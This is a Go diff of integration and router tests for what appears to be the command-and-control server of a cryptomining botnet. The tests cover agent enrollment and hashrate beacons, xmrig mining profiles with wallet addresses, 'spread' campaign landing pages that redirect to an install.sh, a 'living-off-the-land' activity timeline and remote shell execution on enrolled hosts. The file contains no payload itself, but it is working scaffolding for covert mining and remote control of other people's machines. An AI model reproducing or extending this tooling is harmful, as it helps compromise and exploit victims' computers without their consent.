check("POST /api/v1/fleet/{id}/action reboot", func() (bool, string) { return testFleetAction(t, ts, "reboot") })
|
||||
check("POST /api/v1/fleet/{id}/action screenshot", func() (bool, string) { return testFleetAction(t, ts, "screenshot") })
|
||||
check("GET /api/v1/fleet/{id}/lotl/timeline", func() (bool, string) { return testLOTLTimeline(t, ts) })
|
||||
check("GET /api/v1/forge/builds", func() (bool, string) { return testForgeBuilds(t, ts) })
|
||||
check("GET /api/v1/calibrate/profiles", func() (bool, string) { return testCalibrateProfiles(t, ts) })
|
||||
check("POST /api/v1/crucible/batch", func() (bool, string) { return testCrucibleBatch(t, ts) })
|
||||
check("GET /api/v1/crucible/batch/{id}", func() (bool, string) { return testCrucibleBatchGet(t, ts) })
|
||||
check("POST /api/v1/crucible/exec", func() (bool, string) { return testCrucibleExec(t, ts) })
|
||||
check("GET /api/v1/seer (SSE)", func() (bool, string) { return testSeerSSE(t, ts, "/api/v1/seer") })
|
||||
check("GET /seer (SSE)", func() (bool, string) { return testSeerSSE(t, ts, "/seer") })
|
||||
check("GET /api/v1/war-room/campaigns", func() (bool, string) { return testWarRoom(t, ts) })
|
||||
check("GET /api/v1/wireguard/peers", func() (bool, string) { return testWireGuardList(t, ts) })
|
||||
check("POST /api/v1/wireguard/peers", func() (bool, string) { return testWireGuardCreate(t, ts) })
|
||||
|
||||
// --- WebSocket ---
|
||||
check("POST /api/v1/ws/ticket", func() (bool, string) { return testWSTicket(t, ts) })
|
||||
check("GET /api/v1/ws/fleet deck connect", func() (bool, string) { return testWSFleetDeck(t, ts) })
|
||||
check("GET /api/v1/ws/fleet agent heartbeat", func() (bool, string) { return testWSFleetAgentHeartbeat(t, ts) })
|
||||
check("GET /api/v1/ws/fleet command roundtrip", func() (bool, string) { return testWSCommandRoundtrip(t, ts) })
|
||||
|
||||
t.Log("--- Route checklist ---")
|
||||
passed, failed := 0, 0
|
||||
for _, r := range results {
|
||||
status := "PASS"
|
||||
if !r.pass {
|
||||
status = "FAIL"
|
||||
failed++
|
||||
} else {
|
||||
passed++
|
||||
}
|
||||
t.Logf("[%s] %s %s", status, r.name, r.detail)
|
||||
}
|
||||
t.Logf("Total: %d passed, %d failed", passed, failed)
|
||||
}
|
||||
|
||||
var (
|
||||
testHostID string
|
||||
testBundleID string
|
||||
testBatchID string
|
||||
)
|
||||
|
||||
func seedData(t *testing.T, ts *testutil.TestServer) {
|
||||
t.Helper()
|
||||
ctx := context.Background()
|
||||
|
||||
// Demo host from SeedDemoHost
|
||||
hosts, err := fleet.NewStore(ts.SQL).ListHosts()
|
||||
if err != nil || len(hosts) == 0 {
|
||||
t.Fatal("expected seeded demo host")
|
||||
}
|
||||
testHostID = hosts[0].ID
|
||||
|
||||
_ = fleet.NewStore(ts.SQL).LogLOTL(ctx, testHostID, 2, "deploy", "success", "", `{}`)
|
||||
|
||||
svc := erasure.NewService(ts.SQL)
|
||||
bundle, err := svc.Encode(ctx, "integration-test", []byte("aetherforge erasure integration payload"))
|
||||
if err != nil {
|
||||
t.Fatalf("seed erasure: %v", err)
|
||||
}
|
||||
testBundleID = bundle.ID
|
||||
|
||||
policyJSON := `{"wallet_address":"test-wallet","tiers":[{"type":"xmrig"}]}`
|
||||
if err := handlers.SeedPolicySnapshot(ctx, ts.SQL, "test-policy-token", policyJSON); err != nil {
|
||||
t.Fatalf("seed policy: %v", err)
|
||||
}
|
||||
if err := handlers.SeedCampaign(ctx, ts.SQL, "ember", "Emberwake Test", 42); err != nil {
|
||||
t.Fatalf("seed campaign: %v", err)
|
||||
}
|
||||
|
||||
artifactPath := filepath.Join(t.TempDir(), "agent-linux-amd64")
|
||||
if err := os.WriteFile(artifactPath, []byte("#!/bin/sh\necho agent"), 0o755); err != nil {
|
||||
t.Fatalf("write artifact: %v", err)
|
||||
}
|
||||
buildID := "integration-build-amd64"
|
||||
_, err = ts.SQL.ExecContext(ctx, `
|
||||
INSERT INTO builds (id, os, arch, version, checksum, signature, public, path, created_at)
|
||||
VALUES (?, 'linux', 'amd64', 'integration-test', 'abc123', 'sig', 1, ?, datetime('now'))`,
|
||||
buildID, artifactPath)
|
||||
if err != nil {
|
||||
t.Fatalf("seed build: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func testHealth(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
resp, err := http.Get(ts.URL + "/api/v1/health")
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
var body map[string]any
|
||||
if err := json.NewDecoder(resp.Body).Decode(&body); err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
if body["status"] != "ok" {
|
||||
return false, fmt.Sprintf("body %v", body)
|
||||
}
|
||||
return true, "200 ok"
|
||||
}
|
||||
|
||||
func testInstallSh(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
resp, err := http.Get(ts.URL + "/install.sh")
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
body, _ := io.ReadAll(resp.Body)
|
||||
return false, fmt.Sprintf("status %d: %s", resp.StatusCode, strings.TrimSpace(string(body)))
|
||||
}
|
||||
return true, "200 shell script"
|
||||
}
|
||||
|
||||
func testGetRedirect(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
resp, err := http.Get(ts.URL + "/get?c=test")
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusFound {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
loc := resp.Header.Get("Location")
|
||||
if !strings.Contains(loc, "/install.sh") {
|
||||
return false, "missing install.sh redirect"
|
||||
}
|
||||
return true, "302 -> install.sh"
|
||||
}
|
||||
|
||||
func testSpread(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
resp, err := http.Get(ts.URL + "/spread/?c=ember")
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
body, _ := io.ReadAll(resp.Body)
|
||||
if !strings.Contains(string(body), "Emberwake") {
|
||||
return false, "missing lander content"
|
||||
}
|
||||
return true, "200 HTML lander"
|
||||
}
|
||||
|
||||
func testPublicBuilds(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
resp, err := http.Get(ts.URL + "/api/v1/public/builds")
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
return true, "200 builds list"
|
||||
}
|
||||
|
||||
func testPublicBuildsLatest(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
resp, err := http.Get(ts.URL + "/api/v1/public/builds/latest?os=linux&arch=amd64")
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
return true, "200 latest build"
|
||||
}
|
||||
|
||||
func testPublicDownload(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
resp, err := http.Get(ts.URL + "/api/v1/public/download/integration-build-amd64")
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
return true, "200 artifact stream"
|
||||
}
|
||||
|
||||
func testErasureBundle(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
resp, err := http.Get(ts.URL + "/api/v1/public/erasure/" + testBundleID)
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
return true, "200 bundle metadata"
|
||||
}
|
||||
|
||||
func testErasureShard(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
resp, err := http.Get(ts.URL + "/api/v1/public/erasure/" + testBundleID + "/shard/0")
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
return true, "200 shard hex"
|
||||
}
|
||||
|
||||
func testPolicySnapshot(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
resp, err := http.Get(ts.URL + "/api/v1/public/policy-snapshot/test-policy-token")
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
return true, "200 policy JSON"
|
||||
}
|
||||
|
||||
func testFleetRegister(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
body := bytes.NewBufferString(`{"hostname":"agent-integration","arch":"amd64"}`)
|
||||
req, _ := http.NewRequest(http.MethodPost, ts.URL+"/api/v1/fleet/register", body)
|
||||
req.Header.Set("Authorization", "Bearer "+ts.FleetSecret)
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
resp, err := http.DefaultClient.Do(req)
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
return true, "200 enrolled"
|
||||
}
|
||||
|
||||
func testFleetBeacon(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
payload := fmt.Sprintf(`{"host_id":%q,"hostname":"beacon-host","hashrate_hps":1000}`, testHostID)
|
||||
req, _ := http.NewRequest(http.MethodPost, ts.URL+"/api/v1/fleet/beacon", strings.NewReader(payload))
|
||||
req.Header.Set("Authorization", "Bearer "+ts.FleetSecret)
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
resp, err := http.DefaultClient.Do(req)
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
return true, "200 beacon ack"
|
||||
}
|
||||
|
||||
func testFleetList(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
resp, err := basicGet(ts, "/api/v1/fleet")
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
return true, "200 fleet summary"
|
||||
}
|
||||
|
||||
func testFleetHosts(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
resp, err := basicGet(ts, "/api/v1/fleet/hosts")
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
var body map[string]any
|
||||
_ = json.NewDecoder(resp.Body).Decode(&body)
|
||||
if _, ok := body["hosts"]; !ok {
|
||||
return false, "missing hosts key"
|
||||
}
|
||||
return true, "200 hosts list"
|
||||
}
|
||||
|
||||
func testMiningProfile(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
body := bytes.NewBufferString(`{"wallet_address":"4integrationtestwallet","name":"Integration"}`)
|
||||
resp, err := basicPost(ts, "/api/v1/fleet/"+testHostID+"/mining-profile", body)
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
return true, "200 profile pushed"
|
||||
}
|
||||
|
||||
func testFleetAction(t *testing.T, ts *testutil.TestServer, action string) (bool, string) {
|
||||
body := bytes.NewBufferString(fmt.Sprintf(`{"action":%q}`, action))
|
||||
resp, err := basicPost(ts, "/api/v1/fleet/"+testHostID+"/action", body)
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
return true, "200 " + action + " dispatched"
|
||||
}
|
||||
|
||||
func testLOTLTimeline(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
resp, err := basicGet(ts, "/api/v1/fleet/"+testHostID+"/lotl/timeline")
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
var body map[string]any
|
||||
if err := json.NewDecoder(resp.Body).Decode(&body); err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
if _, ok := body["timeline"]; !ok {
|
||||
return false, "missing timeline"
|
||||
}
|
||||
return true, "200 LOTL timeline"
|
||||
}
|
||||
|
||||
func testForgeBuilds(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
resp, err := basicGet(ts, "/api/v1/forge/builds")
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
return true, "200 forge builds"
|
||||
}
|
||||
|
||||
func testCalibrateProfiles(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
resp, err := basicGet(ts, "/api/v1/calibrate/profiles")
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
return true, "200 calibrate profiles"
|
||||
}
|
||||
|
||||
func testCrucibleBatch(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
body := bytes.NewBufferString(fmt.Sprintf(`{"command":"status","host_ids":[%q]}`, testHostID))
|
||||
resp, err := basicPost(ts, "/api/v1/crucible/batch", body)
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
var job map[string]any
|
||||
if err := json.NewDecoder(resp.Body).Decode(&job); err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
id, _ := job["id"].(string)
|
||||
if id == "" {
|
||||
return false, "missing job id"
|
||||
}
|
||||
testBatchID = id
|
||||
return true, "200 batch created"
|
||||
}
|
||||
|
||||
func testCrucibleBatchGet(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
if testBatchID == "" {
|
||||
return false, "no batch id from prior test"
|
||||
}
|
||||
resp, err := basicGet(ts, "/api/v1/crucible/batch/"+testBatchID)
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
return true, "200 batch status"
|
||||
}
|
||||
|
||||
func testCrucibleExec(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
body := bytes.NewBufferString(fmt.Sprintf(`{"host_id":%q,"command":"shell echo hi"}`, testHostID))
|
||||
resp, err := basicPost(ts, "/api/v1/crucible/exec", body)
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
return true, "200 exec dispatched"
|
||||
}
|
||||
|
||||
func testSeerSSE(t *testing.T, ts *testutil.TestServer, path string) (bool, string) {
|
||||
req, _ := http.NewRequest(http.MethodGet, ts.URL+path, nil)
|
||||
req.SetBasicAuth(ts.BasicUser, ts.BasicPass)
|
||||
req.Header.Set("Accept", "text/event-stream")
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 3*time.Second)
|
||||
defer cancel()
|
||||
req = req.WithContext(ctx)
|
||||
|
||||
resp, err := http.DefaultClient.Do(req)
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
ct := resp.Header.Get("Content-Type")
|
||||
if !strings.Contains(ct, "text/event-stream") {
|
||||
return false, "not SSE: " + ct
|
||||
}
|
||||
|
||||
reader := bufio.NewReader(resp.Body)
|
||||
line, err := reader.ReadString('\n')
|
||||
if err != nil && err != io.EOF {
|
||||
return false, err.Error()
|
||||
}
|
||||
if !strings.HasPrefix(line, "data:") {
|
||||
return false, "no SSE data line"
|
||||
}
|
||||
return true, "200 SSE stream"
|
||||
}
|
||||
|
||||
func testWarRoom(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
resp, err := basicGet(ts, "/api/v1/war-room/campaigns")
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
var body map[string]any
|
||||
_ = json.NewDecoder(resp.Body).Decode(&body)
|
||||
campaigns, _ := body["campaigns"].([]any)
|
||||
if len(campaigns) == 0 {
|
||||
return false, "empty campaigns"
|
||||
}
|
||||
return true, "200 war room campaigns"
|
||||
}
|
||||
|
||||
func testWireGuardList(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
resp, err := basicGet(ts, "/api/v1/wireguard/peers")
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
return true, "200 peers list"
|
||||
}
|
||||
|
||||
func testWireGuardCreate(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
body := bytes.NewBufferString(`{"host_id":"` + testHostID + `","public_key":"wg-test-pubkey","endpoint":"10.0.0.1:51820"}`)
|
||||
resp, err := basicPost(ts, "/api/v1/wireguard/peers", body)
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusCreated {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
return true, "201 peer created"
|
||||
}
|
||||
|
||||
func testWSTicket(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
req, _ := http.NewRequest(http.MethodPost, ts.URL+"/api/v1/ws/ticket", nil)
|
||||
req.SetBasicAuth(ts.BasicUser, ts.BasicPass)
|
||||
resp, err := http.DefaultClient.Do(req)
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
var out struct {
|
||||
Ticket string `json:"ticket"`
|
||||
}
|
||||
if err := json.NewDecoder(resp.Body).Decode(&out); err != nil || out.Ticket == "" {
|
||||
return false, "empty ticket"
|
||||
}
|
||||
return true, "200 ticket issued"
|
||||
}
|
||||
|
||||
func testWSFleetDeck(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
ticket := issueTicket(t, ts)
|
||||
wsURL := wsURL(ts.URL, "/api/v1/ws/fleet?ticket="+url.QueryEscape(ticket))
|
||||
|
||||
conn, resp, err := websocket.DefaultDialer.Dial(wsURL, nil)
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer conn.Close()
|
||||
if resp.StatusCode != http.StatusSwitchingProtocols {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
_ = conn.WriteMessage(websocket.PingMessage, nil)
|
||||
return true, "101 deck connected"
|
||||
}
|
||||
|
||||
func testWSFleetAgentHeartbeat(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
conn, resp, err := dialAgentWS(ts)
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer conn.Close()
|
||||
if resp.StatusCode != http.StatusSwitchingProtocols {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
|
||||
hb := fmt.Sprintf(`{"type":"heartbeat","host_id":%q,"hostname":"ws-agent","hashrate_hps":5000}`, testHostID)
|
||||
if err := conn.WriteMessage(websocket.TextMessage, []byte(hb)); err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
conn.SetReadDeadline(time.Now().Add(2 * time.Second))
|
||||
_, _, err = conn.ReadMessage()
|
||||
if err != nil && !strings.Contains(err.Error(), "timeout") {
|
||||
// heartbeat may not produce a direct reply; connection staying open is success
|
||||
}
|
||||
return true, "101 agent heartbeat sent"
|
||||
}
|
||||
|
||||
func testWSCommandRoundtrip(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
conn, _, err := dialAgentWS(ts)
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
cmdCh := make(chan []byte, 1)
|
||||
go func() {
|
||||
for {
|
||||
_, msg, err := conn.ReadMessage()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
var frame map[string]any
|
||||
if json.Unmarshal(msg, &frame) == nil && frame["type"] == "command" {
|
||||
cmdCh <- msg
|
||||
return
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
hb := fmt.Sprintf(`{"type":"heartbeat","host_id":%q,"hostname":"cmd-agent","hashrate_hps":9000}`, testHostID)
|
||||
if err := conn.WriteMessage(websocket.TextMessage, []byte(hb)); err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
|
||||
body := bytes.NewBufferString(`{"action":"pause"}`)
|
||||
resp, err := basicPost(ts, "/api/v1/fleet/"+testHostID+"/action", body)
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, fmt.Sprintf("action status %d", resp.StatusCode)
|
||||
}
|
||||
|
||||
select {
|
||||
case msg := <-cmdCh:
|
||||
var frame map[string]any
|
||||
_ = json.Unmarshal(msg, &frame)
|
||||
return true, fmt.Sprintf("command action=%v", frame["command"])
|
||||
case <-time.After(5 * time.Second):
|
||||
return false, "no command frame received"
|
||||
}
|
||||
}
|
||||
|
||||
func dialAgentWS(ts *testutil.TestServer) (*websocket.Conn, *http.Response, error) {
|
||||
wsURL := wsURL(ts.URL, "/api/v1/ws/fleet")
|
||||
header := http.Header{}
|
||||
header.Set("Authorization", "Bearer "+ts.FleetSecret)
|
||||
return websocket.DefaultDialer.Dial(wsURL, header)
|
||||
}
|
||||
|
||||
func issueTicket(t *testing.T, ts *testutil.TestServer) string {
|
||||
t.Helper()
|
||||
req, _ := http.NewRequest(http.MethodPost, ts.URL+"/api/v1/ws/ticket", nil)
|
||||
req.SetBasicAuth(ts.BasicUser, ts.BasicPass)
|
||||
resp, err := http.DefaultClient.Do(req)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
var out struct {
|
||||
Ticket string `json:"ticket"`
|
||||
}
|
||||
if err := json.NewDecoder(resp.Body).Decode(&out); err != nil || out.Ticket == "" {
|
||||
t.Fatal("ticket issue failed")
|
||||
}
|
||||
return out.Ticket
|
||||
}
|
||||
|
||||
func wsURL(httpURL, path string) string {
|
||||
u, _ := url.Parse(httpURL)
|
||||
u.Scheme = strings.Replace(u.Scheme, "http", "ws", 1)
|
||||
u.Path = ""
|
||||
u.RawPath = ""
|
||||
u.RawQuery = ""
|
||||
if strings.Contains(path, "?") {
|
||||
parts := strings.SplitN(path, "?", 2)
|
||||
u.Path = parts[0]
|
||||
u.RawQuery = parts[1]
|
||||
} else {
|
||||
u.Path = path
|
||||
}
|
||||
return u.String()
|
||||
}
|
||||
|
||||
func basicGet(ts *testutil.TestServer, path string) (*http.Response, error) {
|
||||
req, err := http.NewRequest(http.MethodGet, ts.URL+path, nil)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req.SetBasicAuth(ts.BasicUser, ts.BasicPass)
|
||||
return http.DefaultClient.Do(req)
|
||||
}
|
||||
|
||||
func basicPost(ts *testutil.TestServer, path string, body io.Reader) (*http.Response, error) {
|
||||
req, err := http.NewRequest(http.MethodPost, ts.URL+path, body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req.SetBasicAuth(ts.BasicUser, ts.BasicPass)
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
return http.DefaultClient.Do(req)
|
||||
}
|
||||
|
||||
// Ensure unused import guard for sql in case of build tags
|
||||
var _ = sql.ErrNoRows
|
||||
186
internal/api/router_test.go
Normal file
186
internal/api/router_test.go
Normal file
@@ -0,0 +1,186 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"io/fs"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
"testing/fstest"
|
||||
|
||||
"forge-mesh/internal/config"
|
||||
"forge-mesh/internal/db"
|
||||
"forge-mesh/internal/forge"
|
||||
)
|
||||
|
||||
func TestHealthAndPublicRoutes(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
cfgPath := filepath.Join(dir, "config.json")
|
||||
writeTestConfig(t, cfgPath, dir)
|
||||
|
||||
cfg, err := config.Load(cfgPath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := cfg.EnsureDataDirs(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
conn, err := db.Open(cfg.DatabasePath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
kp, err := forge.LoadOrCreateKey(cfg.Forge.SigningKeyPath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
tmplPath := filepath.Join("..", "..", "scripts", "install.sh.tpl")
|
||||
static := fstest.MapFS{"index.html": &fstest.MapFile{Data: []byte("<html></html>")}}
|
||||
|
||||
srv, err := NewServer(cfg, conn, static, "test", tmplPath, kp.PublicKeyHex())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
ts := httptest.NewServer(srv.Handler())
|
||||
defer ts.Close()
|
||||
|
||||
resp, err := http.Get(ts.URL + "/api/v1/health")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
t.Fatalf("health: %d", resp.StatusCode)
|
||||
}
|
||||
|
||||
resp, err = http.Get(ts.URL + "/install.sh")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
t.Fatalf("install.sh: %d", resp.StatusCode)
|
||||
}
|
||||
|
||||
resp, err = http.Get(ts.URL + "/get")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusFound {
|
||||
t.Fatalf("get redirect: %d", resp.StatusCode)
|
||||
}
|
||||
}
|
||||
|
||||
func TestProtectedFleetRequiresAuth(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
cfgPath := filepath.Join(dir, "config.json")
|
||||
writeTestConfig(t, cfgPath, dir)
|
||||
|
||||
cfg, _ := config.Load(cfgPath)
|
||||
_ = cfg.EnsureDataDirs()
|
||||
conn, _ := db.Open(cfg.DatabasePath)
|
||||
defer conn.Close()
|
||||
|
||||
kp, _ := forge.LoadOrCreateKey(cfg.Forge.SigningKeyPath)
|
||||
tmplPath := filepath.Join("..", "..", "scripts", "install.sh.tpl")
|
||||
static := fstest.MapFS{"index.html": &fstest.MapFile{Data: []byte("ok")}}
|
||||
|
||||
srv, err := NewServer(cfg, conn, static, "test", tmplPath, kp.PublicKeyHex())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
ts := httptest.NewServer(srv.Handler())
|
||||
defer ts.Close()
|
||||
|
||||
resp, err := http.Get(ts.URL + "/api/v1/fleet/hosts")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusUnauthorized {
|
||||
t.Fatalf("expected 401, got %d", resp.StatusCode)
|
||||
}
|
||||
|
||||
req, _ := http.NewRequest(http.MethodGet, ts.URL+"/api/v1/fleet/hosts", nil)
|
||||
req.SetBasicAuth("admin", "changeme")
|
||||
resp, err = http.DefaultClient.Do(req)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
